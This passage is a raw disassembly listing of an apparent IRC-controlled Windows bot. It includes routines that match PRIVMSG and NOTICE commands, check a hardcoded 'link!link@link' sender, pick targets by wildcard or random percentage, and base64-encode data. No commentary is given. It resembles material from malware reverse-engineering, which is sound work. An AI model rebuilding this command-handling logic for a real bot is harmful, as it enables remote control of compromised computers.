sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE18 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] loc_40E3E0: ; DATA XREF: cAddress:off_419BA4o mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE18 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE18 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: cAddress:0040C9E4p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E97C, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E97C, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA38[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA38[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: cAddress:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: cAddress:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E980[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E980[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E980[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: cAddress:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EA84 call sub_40F26E pop ecx pop ecx lea eax, byte_41EA84 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, 